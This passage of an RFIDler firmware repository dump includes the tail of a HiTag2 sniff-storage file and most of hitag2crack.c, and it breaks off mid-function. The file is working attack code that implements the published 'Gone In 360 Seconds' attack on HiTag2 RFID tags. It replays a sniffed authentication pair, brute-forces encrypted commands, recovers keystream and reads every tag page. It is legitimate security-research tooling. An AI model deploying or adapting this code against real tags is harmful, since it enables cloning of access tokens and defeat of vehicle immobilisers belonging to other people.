3);\n    UserMessage(\"%s\", \"\\r\\n\");\n    return TRUE;\n}\n\nvoid hitag2_pwm_nvm_clear()\n{\n    uint32_t count = 0;\n    NVMProgram((void *) HITAG2_PWM_NVM_ADDRESS, (const void *) &count, sizeof(uint32_t), (void*) TmpBuff);\n}\n\n\nvoid store_pwm(BYTE *data)\n{\n    uint32_t count;\n    BYTE *entry;\n    BYTE datastr[20];\n    \n    memcpy(&count, (void *)HITAG2_PWM_NVM_ADDRESS, 4);\n    \n//    UserMessage(\"current count: %d\\r\\n\", count);\n    \n    if (count >= HITAG2_PWM_NVM_MAX)\n    {\n        return;\n    }\n    \n    // convert data from bits to hexstring\n    binstringtohex(datastr, data);\n    \n    // store data\n    entry = (BYTE *)HITAG2_PWM_NVM_DATA + (20 * count);\n    NVMProgram((void *) entry, (const void *) datastr, 20, (void*) TmpBuff);\n    \n    // update count\n    count++;\n    NVMProgram((void *) HITAG2_PWM_NVM_ADDRESS, (const void *) &count, sizeof(uint32_t), (void*) TmpBuff);\n//    return;\n    \n\n}\n\nvoid hitag2_pwm_display_nrars()\n{\n    uint32_t count;\n    uint32_t index;\n    int i;\n    BYTE tmp[20];\n    \n    memcpy(&count, (void *)HITAG2_PWM_NVM_ADDRESS, 4);\n    \n    UserMessage(\"%s\", \"\\r\\n\");\n    \n    if (count == 0)\n    {\n        UserMessage(\"%s\", \"No HiTag2 PWM stored\\r\\n\");\n        return;\n    }\n        \n    if (count > HITAG2_PWM_NVM_MAX)\n    {\n        UserMessage(\"%s\", \"Count overflow\\r\\n\");\n        return;\n    }\n    \n    tmp[8] = 0x00;\n    for (index=0; index<count; index++)\n    {\n//        UserMessage(\"nRaR number %d\\r\\n\", index);\n//        memcpy(tmp, (BYTE *)HITAG2_PWM_NVM_DATA + (index * 20), 20);\n        memcpy(tmp, (BYTE *)HITAG2_PWM_NVM_DATA + (index * 20), 8);\n        tmp[8] = ' ';\n        memcpy(tmp + 9, (BYTE *)HITAG2_PWM_NVM_DATA + (index * 20) + 8, 8);\n        tmp[17] = 0x00;\n        UserMessage(\"%s\\r\\n\", tmp);\n    }\n    \n    return;\n}\n\n// end optimisation\n#pragma GCC reset_options\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/hitag2crack.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2017 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Kevin Sheldrake <kev@headhacking.com>\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"util.h\"\n#include \"hitagcrypto.h\"\n#include \"hitag2crack.h\"\n#include \"hitag.h\"\n\n\n#define READP0CMD \"1100000111\"\n#define ERROR_RESPONSE \"F402889C\"\n\nextern const BYTE Hitag2Sync[5];\nextern BOOL CryptoActive;\nextern Hitag_State Hitag_Crypto_State;\n\n// hitag2_crack implements the first crack algorithm described in the paper,\n// Gone In 360 Seconds by Verdult, Garcia and Balasch.\n// response is a multi-line text response containing the 8 pages of the\n// cracked tag;\n// nrarhex is a string containing hex representations of the 32 bit nR and aR\n// values (separated by a space) snooped using SNIFF-PWM.\nBOOL hitag2_crack(BYTE *response, BYTE *nrarhex)\n{\n    BYTE uidhex[9];\n    BYTE uid[32];\n    BYTE nrar[64];\n    BYTE e_firstcmd[10];\n    BYTE e_page0cmd[10];\n    BYTE keybits[42];\n    BYTE pagehex[9];\n    BYTE temp[20];\n    int i;\n    BYTE *spaceptr = NULL;\n\n    UserMessage(\"\\r\\n\");\n    \n    // get uid as hexstring\n    if(!hitag2_get_uid(uidhex))\n    {\n        UserMessage(\"Cannot get UID\\r\\n\");\n        return FALSE;\n    }\n\n    // convert uid hexstring to binarray\n    hextobinarray(uid, uidhex);\n    \n    // convert nR and aR hexstrings to binarray\n    spaceptr = strchr(nrarhex, ' ');\n    if (!spaceptr)\n    {\n        UserMessage(\"Please supply a valid nR aR pair\\r\\n\");\n        return FALSE;\n    }\n    *spaceptr = 0x00;\n    \n    if (hextobinarray(nrar, nrarhex) != 32)\n    {\n        UserMessage(\"nR is not 32 bits long\\r\\n\");\n        return FALSE;\n    }\n    \n    if (hextobinarray(nrar + 32, spaceptr + 1) != 32)\n    {\n        UserMessage(\"aR is not 32 bits long\\r\\n\");\n        return FALSE;\n    }\n\n    // find a valid encrypted command\n    if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar))\n    {\n        UserMessage(\"Cannot find a valid encrypted command\\r\\n\");\n        return FALSE;\n    }\n    \n    // find the 'read page 0' command and recover key stream\n    if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid))\n    {\n        UserMessage(\"Cannot find encrypted 'read page0' command\\r\\n\");\n        return FALSE;\n    }\n    \n    // empty the response string\n    response[0] = 0x00;\n    \n    // read all pages using key stream\n    for (i=0; i<8; i++)\n    {\n        if (hitag2crack_read_page(pagehex, i, nrar, keybits))\n        {\n            sprintf(temp, \"%1d: %s\\r\\n\", i, pagehex);\n        }\n        else\n        {\n            sprintf(temp, \"%1d:\\r\\n\", i);\n        }\n        // add page string to response\n        strcat(response, temp);\n    }\n    \n    return TRUE;\n}\n\n// hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each\n// with a different sequential encrypted command value in order to find one\n// that returns a valid response.\n// e_cmd is the returned binarray of the valid encrypted command;\n// nrar is the binarray of the 64 bit nR aR pair.\nBOOL hitag2crack_find_valid_e_cmd(BYTE e_cmd[], BYTE nrar[])\n{\n    BYTE guess[10];\n    BYTE responsestr[9];\n    BYTE a, b, c, d, e, g;\n    \n    UserMessage(\"Finding valid encrypted command:\");\n    // we're going to hold bits 5, 7, 8 and 9 and brute force the rest\n    // e.g. x x x x x 0 x 0 0 0\n    for (a=0; a<2; a++)\n    {\n        for (b=0; b<2; b++)\n        {\n            for (c=0; c<2; c++)\n            {\n                for (d=0; d<2; d++)\n                {\n                    for (e=0; e<2; e++)\n                    {\n                        for (g=0; g<2; g++)\n                        {\n                            // build binarray\n                            guess[0] = a;\n                            guess[1] = b;\n                            guess[2] = c;\n                            guess[3] = d;\n                            guess[4] = e;\n                            guess[5] = 0;\n                            guess[6] = g;\n                            guess[7] = 0;\n                            guess[8] = 0;\n                            guess[9] = 0;\n\n                            // send guess\n                            if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10))\n                            {\n                                // check if it was valid\n                                if (strcmp(responsestr, ERROR_RESPONSE) != 0)\n                                {\n                                    // return the guess as the encrypted command\n                                    memcpy(e_cmd, guess, 10);\n                                    UserMessage(\"\\r\\n\");\n                                    return TRUE;\n                                }\n                            }\n                            else\n                            {\n#ifdef RFIDLER_DEBUG\n                                UserMessage(\"hitag2crack_find_valid_e_cmd:\\r\\n hitag2crack_send_e_cmd failed\\r\\n\");\n#endif\n                            }\n                            UserMessage(\".\");\n                        }\n                    }\n                }\n            }\n        }\n    }\n    \n    UserMessage(\"hitag2crack_find_valid_e_cmd:\\r\\n no valid encrypted command found\\r\\n\");\n    return FALSE;\n}\n\n// hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the\n// valid encrypted command and tests the results by attempting an extended\n// command version of the command to see if that produces a valid response.\n// keybits is the returned binarray of the recovered key stream;\n// e_page0cmd is the returned binarray of the encrypted 'read page 0' command;\n// e_firstcmd is the binarray of the first valid encrypted command found;\n// nrar is the binarray of the 64 bit nR aR pair;\n// uid is the binarray of the 32 bit UID.\nBOOL hitag2crack_find_e_page0_cmd(BYTE keybits[], BYTE e_firstcmd[], BYTE nrar[], BYTE uid[])\n{\n    BYTE a, b, c, d;\n    BYTE guess[10];\n    BYTE responsestr[9];\n    BYTE e_uid[32];\n\n    UserMessage(\"Finding 'read page 0' command:\");\n    // we're going to brute the missing 4 bits of the valid encrypted command\n    for (a=0; a<2; a++)\n    {\n        for (b=0; b<2; b++)\n        {\n            for (c=0; c<2; c++)\n            {\n                for (d=0; d<2; d++)\n                {\n                    // create our guess by bit flipping the pattern of bits\n                    // representing the inverted bit and the 3 page bits\n                    // in both the non-inverted and inverted parts of the\n                    // encrypted command.\n                    memcpy(guess, e_firstcmd, 10);\n                    if (a)\n                    {\n                        guess[5] = !guess[5];\n                        guess[0] = !guess[0];\n                    }\n                    if (b)\n                    {\n                        guess[7] = !guess[7];\n                        guess[2] = !guess[2];\n                    }\n                    if (c)\n                    {\n                        guess[8] = !guess[8];\n                        guess[3] = !guess[3];\n                    }\n                    if (d)\n                    {\n                        guess[9] = !guess[9];\n                        guess[4] = !guess[4];\n                    }\n                    \n                    // try the guess\n                    if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10))\n                    {\n                        // check if it was valid\n                        if (strcmp(responsestr, ERROR_RESPONSE) != 0)\n                        {\n                            // convert response to binarray\n                            hextobinarray(e_uid, responsestr);\n                            // test if the guess was 'read page 0' command\n                            if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid))\n                            {\n                                UserMessage(\"\\r\\n\");\n                                return TRUE;\n                            }\n                        }\n                        else\n                        {\n#ifdef RFIDLER_DEBUG\n                            UserMessage(\"hitag2crack_find_e_page0_cmd:\\r\\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\\r\\n\");\n#endif\n                        }\n                    }\n                    else\n                    {\n #ifdef RFIDLER_DEBUG                       \n                        UserMessage(\"hitag2crack_find_e_page0_cmd:\\r\\n hitag2crack_send_e_cmd failed\\r\\n\");\n#endif\n                    }\n                    UserMessage(\".\");\n                }\n            }\n        }\n    }\n    UserMessage(\"hitag2crack_find_e_page0_cmd:\\r\\n could not find encrypted 'read page 0' command\\r\\n\");\n    return FALSE;\n}\n\n// hitag2crack_test_e_p0cmd XORs the message (command + response) with the\n// encrypted version to retrieve the key stream.  It then uses this key stream\n// to encrypt an extended version of the READP0CMD and tests if the response\n// is valid.\n// keybits is the returned binarray of the key stream;\n// nrar is the 64 bit binarray of nR aR pair;\n// e_cmd is the binarray of the encrypted command;\n// uid is the binarray of the card UID;\n// e_uid is the binarray of the encrypted version of the UID.\nBOOL hitag2crack_test_e_p0cmd(BYTE *keybits, BYTE *nrar, BYTE *e_cmd, BYTE *uid, BYTE *e_uid)\n{\n    BYTE cipherbits[42];\n    BYTE plainbits[42];\n    BYTE ext_cmd[40];\n    BYTE e_ext_cmd[40];\n    BYTE responsestr[9];\n    int i;\n    \n    // copy encrypted cmd to cipherbits\n    memcpy(cipherbits, e_cmd, 10);\n    \n    // copy encrypted uid to cipherbits\n    memcpy(cipherbits + 10, e_uid, 32);\n    \n    // copy cmd to plainbits\n    binstringtobinarray(plainbits, READP0CMD);\n    \n    // copy uid to plainbits\n    memcpy(plainbits + 10, uid, 32);\n\n    // xor the plainbits with the cipherbits to get keybits\n    hitag2crack_xor(keybits, plainbits, cipherbits, 42);\n    \n    // create extended cmd -> 4 * READP0CMD = 40 bits\n    for (i=0; i<4; i++)\n    {\n        binstringtobinarray(ext_cmd + (i * 10), READP0CMD);\n    }\n    \n    // xor extended cmd with keybits\n    hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40);\n    \n    // send extended encrypted cmd\n    if (hitag2crack_send_e_cmd(responsestr, nrar, e_ext_cmd, 40))\n    {\n        // test if it was valid\n        if (strcmp(responsestr, ERROR_RESPONSE) != 0)\n        {\n            return TRUE;\n        }\n    }\n    else\n    {\n#ifdef RFIDLER_DEBUG\n        UserMessage(\"hitag2crack_test_e_p0cmd:\\r\\n hitag2crack_send_e_cmd failed\\r\\n\");\n#endif\n    }\n    \n    return FALSE;\n    \n}\n\n// hitag2crack_xor XORs the source with the pad to produce the target.\n// source, target and pad are binarrays of length len.\nvoid hitag2crack_xor(BYTE *target, BYTE *source, BYTE *pad, unsigned int len)\n{\n    int i;\n\n    for (i=0; i<len; i++)\n    {\n        target[i] = source[i] ^ pad[i];\n    }\n}\n\n// hitag2crack_read_page uses the supplied key stream and nrar pair to read the\n// given page, returning the response as a hexstring.\n// responsestr is the returned hexstring;\n// pagenum is the page number to read;\n// nrar is the 64 bit binarray of the nR aR pair;\n// keybits is the binarray of the key stream.\nBOOL hitag2crack_read_page(BYTE *responsestr, BYTE pagenum, BYTE *nrar, BYTE *keybits)\n{\n    BYTE cmd[10];\n    BYTE e_cmd[10];\n    BYTE e_responsestr[9];\n    BYTE e_response[32];\n    BYTE response[32];\n    int i;\n    \n    if ((pagenum < 0) || (pagenum > 7))\n    {\n        UserMessage(\"hitag2crack_read_page:\\r\\n invalid pagenum\\r\\n\");\n        return FALSE;\n    }\n    \n    // create cmd\n    binstringtobinarray(cmd, READP0CMD);\n    if (pagenum & 0x1)\n    {\n        cmd[9] = !cmd[9];\n        cmd[4] = !cmd[4];\n    }\n    if (pagenum & 0x2)\n    {\n        cmd[8] = !cmd[8];\n        cmd[3] = !cmd[3];\n    }\n    if (pagenum & 0x4)\n    {\n        cmd[7] = !cmd[7];\n        cmd[2] = !cmd[2];\n    }\n    \n    // encrypt command\n    hitag2crack_xor(e_cmd, cmd, keybits, 10);\n    \n    // send encrypted command\n    if (hitag2crack_send_e_cmd(e_responsestr, nrar, e_cmd, 10))\n    {\n        // check if it is valid\n        if (strcmp(e_responsestr, ERROR_RESPONSE) != 0)\n        {\n            // convert to binarray\n            hextobinarray(e_response, e_responsestr);\n            // decrypt response\n            hitag2crack_xor(response, e_response, keybits + 10, 32);\n            // convert to hexstring\n            binarraytohex(responsestr, response, 32);\n            return TRUE;\n        }\n        else\n        {\n            UserMessage(\"hitag2crack_read_page:\\r\\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\\r\\n\");\n        }\n    }\n    else\n    {\n        UserMessage(\"hitag2crack_read_page:\\r\\n hitag2crack_send_e_cmd failed\\r\\n\");\n    }\n    \n    return FALSE;\n}\n\n// hitag2crack_send_e_cmd replays the auth and sends the given encrypted\n// command.\n// responsestr is the hexstring of the response to the command;\n// nrar is the 64 bit binarray of the nR aR pair;\n// cmd is the binarray of the encrypted command to send;\n// len is the length of the encrypted command.\nBOOL hitag2crack_send_e_cmd(BYTE *responsestr, BYTE *nrar, BYTE *cmd, int len)\n{\n    BYTE tmp[37];\n    BYTE uid[9];\n    BYTE e_page3str[9];\n    int ret = 0;\n\n    // get the UID\n    if(!hitag2_get_uid(uid))\n    {\n        UserMessage(\"hitag2crack_send_e_cmd:\\r\\n cannot get UID\\r\\n\");\n        return FALSE;\n    }\n\n    // START_AUTH kills active crypto session\n    CryptoActive = FALSE;\n\n    // get the UID again\n    if(!hitag2_get_uid(uid))\n    {\n        UserMessage(\"hitag2crack_send_e_cmd:\\r\\n cannot get UID (2nd time)\\r\\n\");\n        return FALSE;\n    }\n    \n    // send nrar and receive (useless) encrypted page 3 value\n    if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, FALSE))\n    {\n        UserMessage(\"hitag2crack_send_e_cmd:\\r\\n tx/rx nrar failed\\r\\n\");\n        return FALSE;\n    }\n                \n    // send encrypted command\n    if (!hitag2crack_tx_rx(responsestr, cmd, len, RWD_STATE_WAKING, FALSE))\n    {\n#ifdef RFIDLER_DEBUG\n        UserMessage(\"hitag2crack_send_e_cmd:\\r\\n tx/rx cmd failed\\r\\n\");\n#endif\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n// hitag2crack_tx_rx transmits a message and receives a response.\n// responsestr is the hexstring of the response;\n// msg is the binarray of the message to send;\n// state is the RWD state;\n// reset indicates whether to reset RWD state after.\nBOOL hitag2crack_tx_rx(BYTE *responsestr, BYTE *msg, int len, int state, BOOL reset)\n{\n    BYTE tmp[37];\n    int ret = 0;\n\n    // START_AUTH kills active crypto session\n    CryptoActive= FALSE;\n    \n    if(!rwd_send(msg, len, reset, BLOCK, state, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))\n    {\n        UserMessage(\"hitag2crack_tx_rx: rwd_send failed\\r\\n\");\n        return FALSE;\n    }\n    \n    // skip 1/2 bit to synchronise manchester\n    HW_Skip_Bits = 1;\n    ret = read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY);\n\n    // check if response was a valid length (5 sync bits + 32 bits response)\n    if (ret == 37)\n    {\n        // check sync bits\n        if (memcmp(tmp, Hitag2Sync, 5) != 0)\n        {\n            UserMessage(\"hitag2crack_tx_rx: no sync\\r\\n\");\n            return FALSE;\n        }\n        \n        // convert response to hexstring\n        binarraytohex(responsestr, tmp + 5, 32);\n        return TRUE;\n    } \n    else\n    {\n#ifdef RFIDLER_DEBUG\n        UserMessage(\"hitag2crack_tx_rx: wrong rx len\\r\\n\");\n#endif\n        return FALSE;\n    }\n    return FALSE;\n}\n\n\nBOOL hitag2crack_rng_init(BYTE *response, BYTE *input)\n{\n    uint64_t sharedkey;\n    uint32_t serialnum;\n    uint32_t initvector;\n    BYTE *spaceptr;\n    BYTE *dataptr;\n    \n    // extract vals from input\n    dataptr = input;\n    spaceptr = strchr(dataptr, ' ');\n    if (!spaceptr)\n    {\n        UserMessage(\"/r/nformat is 'sharedkey UID nR' in hex\\r\\n\");\n        return FALSE;\n    }\n    \n    *spaceptr = 0x00;\n    \n    if (strlen(dataptr) != 12)\n    {\n        UserMessage(\"/r/nsharedkey should be 48 bits long (12 hexchars)\\r\\n\");\n        return FALSE;\n    }\n\n    sharedkey = rev64(hexreversetoulonglong(dataptr));\n    \n    dataptr = spaceptr+1;\n    spaceptr = strchr(dataptr, ' ');\n    if (!spaceptr)\n    {\n        UserMessage(\"/r/nno UID\\r\\n\");\n        return FALSE;\n    }\n    \n    *spaceptr = 0x00;\n    if (strlen(dataptr) != 8)\n    {\n        UserMessage(\"/r/nUID should be 32 bits long (8 hexchars)\\r\\n\");\n        return FALSE;\n    }\n    \n    serialnum = rev32(hexreversetoulong(dataptr));\n    \n    dataptr = spaceptr+1;\n    \n    if (strlen(dataptr) != 8)\n    {\n        UserMessage(\"/r/nnR should be 32 bits long (8 hexchars)\\r\\n\");\n        return FALSE;\n    }\n    \n    initvector = rev32(hexreversetoulong(dataptr));\n    \n    // start up crypto engine\n    hitag2_init(&Hitag_Crypto_State, sharedkey, serialnum, initvector);\n    \n    strcpy(response, \"Success\\r\\n\");\n    \n    return TRUE;\n}\n\nBOOL hitag2crack_decrypt_hex(BYTE *response, BYTE *hex)\n{\n    BYTE bin[32];\n    BYTE binhex[9];\n    BYTE binstr[33];\n    uint32_t binulong;\n \n    if (strlen(hex) != 8)\n    {\n        UserMessage(\"/r/nhex must be 32bits (8 hex chars)\\r\\n\");\n        return FALSE;\n    }\n    \n    binulong = hextoulong(hex);\n    \n    ulongtobinarray(bin, hitag2_crypt(binulong, 32), 32);\n    binarraytobinstring(binstr, bin, 32);\n    binarraytohex(binhex, bin, 32);\n//    UserMessage(\"ar = %s\\r\\n\", binstr);\n//    UserMessage(\"arhex = %s\\r\\n\", binhex);\n    \n    strcpy(response, binhex);\n    return TRUE;\n}\n\nBOOL hitag2crack_decrypt_bin(BYTE *response, BYTE *e_binstr)\n{\n    BYTE bin[32];\n    BYTE e_bin[32];\n    BYTE binstr[33];\n    uint32_t binulong;\n    int len;\n \n    len = strlen(e_binstr);\n    if (len > 32)\n    {\n        UserMessage(\"\\r\\nbinary string must be <= 32 bits\\r\\n\");\n        return FALSE;\n    }\n    \n    binstringtobinarray(e_bin, e_binstr);\n    binulong = binarraytoulong(e_bin, len);\n    \n    ulongtobinarray(bin, hitag2_crypt(binulong, len), len);\n    binarraytobinstring(binstr, bin, len);\n    strcpy(response, binstr);\n    return TRUE;\n}\n\nBOOL hitag2crack_encrypt_hex(BYTE *response, BYTE *hex)\n{\n    // XOR pad so encrypt == decrypt :)\n    return hitag2crack_decrypt_hex(response, hex);\n}\n\nBOOL hitag2crack_encrypt_bin(BYTE *response, BYTE *e_binstr)\n{\n    return hitag2crack_decrypt_bin(response, e_binstr);\n}\n    \n// hitag2_keystream uses the first crack algorithm described in the paper,\n// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits\n// of keystream.\n// response is a multi-line text response containing the hex of the keystream;\n// nrarhex is a string containing hex representations of the 32 bit nR and aR\n// values (separated by a space) snooped using SNIFF-PWM.\nBOOL hitag2_keystream(BYTE *response, BYTE *nrarhex)\n{\n    BYTE uidhex[9];\n    BYTE uid[32];\n    BYTE nrar[64];\n    BYTE e_firstcmd[10];\n    BYTE e_page0cmd[10];\n//    BYTE keybits[2080];\n    BYTE *keybits = DataBuff;\n    BYTE keybitshex[67];\n    int kslen;\n    int ksoffset;\n    BYTE pagehex[9];\n    BYTE temp[20];\n    int i;\n    BYTE *spaceptr = NULL;\n\n    UserMessage(\"\\r\\n\");\n\n/*    \n    keybits = malloc(2080);\n    if (!keybits) {\n        UserMessage(\"cannot malloc keybits\\r\\n\");\n        return FALSE;\n    }\n*/\n    \n    // get uid as hexstring\n    if(!hitag2_get_uid(uidhex))\n    {\n        UserMessage(\"Cannot get UID\\r\\n\");\n        return FALSE;\n    }\n\n    // convert uid hexstring to binarray\n    hextobinarray(uid, uidhex);\n    \n    // convert nR and aR hexstrings to binarray\n    spaceptr = strchr(nrarhex, ' ');\n    if (!spaceptr)\n    {\n        UserMessage(\"Please supply a valid nR aR pair\\r\\n\");\n        return FALSE;\n    }\n    *spaceptr = 0x00;\n    \n    if (hextobinarray(nrar, nrarhex) != 32)\n    {\n        UserMessage(\"nR is not 32 bits long\\r\\n\");\n        return FALSE;\n    }\n    \n    if (hextobinarray(nrar + 32, spaceptr + 1) != 32)\n    {\n        UserMessage(\"aR is not 32 bits long\\r\\n\");\n        return FALSE;\n    }\n\n    // find a valid encrypted command\n    if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar))\n    {\n        UserMessage(\"Cannot find a valid encrypted command\\r\\n\");\n        return FALSE;\n    }\n    \n    // find the 'read page 0' command and recover key stream\n    if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid))\n    {\n        UserMessage(\"Cannot find encrypted 'read page0' command\\r\\n\");\n        return FALSE;\n    }\n    \n    // using the 40 bits of keystream in keybits, sending commands with ever\n    // increasing lengths to acquire 2048 bits of key stream.\n    kslen = 40;\n    \n    while (kslen < 2048)\n    {\n        ksoffset = 0;\n        if (!hitag2crack_send_auth(nrar))\n        {\n            UserMessage(\"hitag2crack_send_auth failed\\r\\n\");\n            return FALSE;\n        }\n        // while we have at least 52 bits of keystream, consume it with\n        // extended read page 0 commands. 52 = 10 (min command len) +\n        // 32 (response) + 10 (min command len we'll send)\n        while ((kslen - ksoffset) >= 52)\n        {\n            // consume the keystream, updating ksoffset as we go\n            if (!hitag2crack_consume_keystream(keybits, kslen, &ksoffset, nrar))\n            {\n                UserMessage(\"hitag2crack_consume_keystream failed\\r\\n\");\n                return FALSE;\n            }\n        }\n        // send an extended command to retrieve more keystream, updating kslen\n        // as we go\n        if (!hitag2crack_extend_keystream(keybits, &kslen, ksoffset, nrar, uid))\n        {\n            UserMessage(\"hitag2crack_extend_keystream failed\\r\\n\");\n            return FALSE;\n        }\n        UserMessage(\"Recovered %d bits of keystream\\r\\n\", kslen);\n\n    }\n    \n    for (i=0; i<2048; i+=256)\n    {\n        binarraytohex(keybitshex, keybits + i, 256);\n        UserMessage(\"%s\\r\\n\", keybitshex);\n    }\n\n    response[0] = 0x00;\n    \n    return TRUE;\n}\n\n// hitag2crack_send_auth replays the auth and returns.\n// nrar is the 64 bit binarray of the nR aR pair;\nBOOL hitag2crack_send_auth(BYTE *nrar)\n{\n    BYTE uid[9];\n    BYTE e_page3str[9];\n\n    // get the UID\n    if(!hitag2_get_uid(uid))\n    {\n        UserMessage(\"hitag2crack_send_auth:\\r\\n cannot get UID\\r\\n\");\n        return FALSE;\n    }\n\n    // START_AUTH kills active crypto session\n    CryptoActive = FALSE;\n\n    // get the UID again\n    if(!hitag2_get_uid(uid))\n    {\n        UserMessage(\"hitag2crack_send_auth:\\r\\n cannot get UID (2nd time)\\r\\n\");\n        return FALSE;\n    }\n    \n    // send nrar and receive (useless) encrypted page 3 value\n    if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, FALSE))\n    {\n        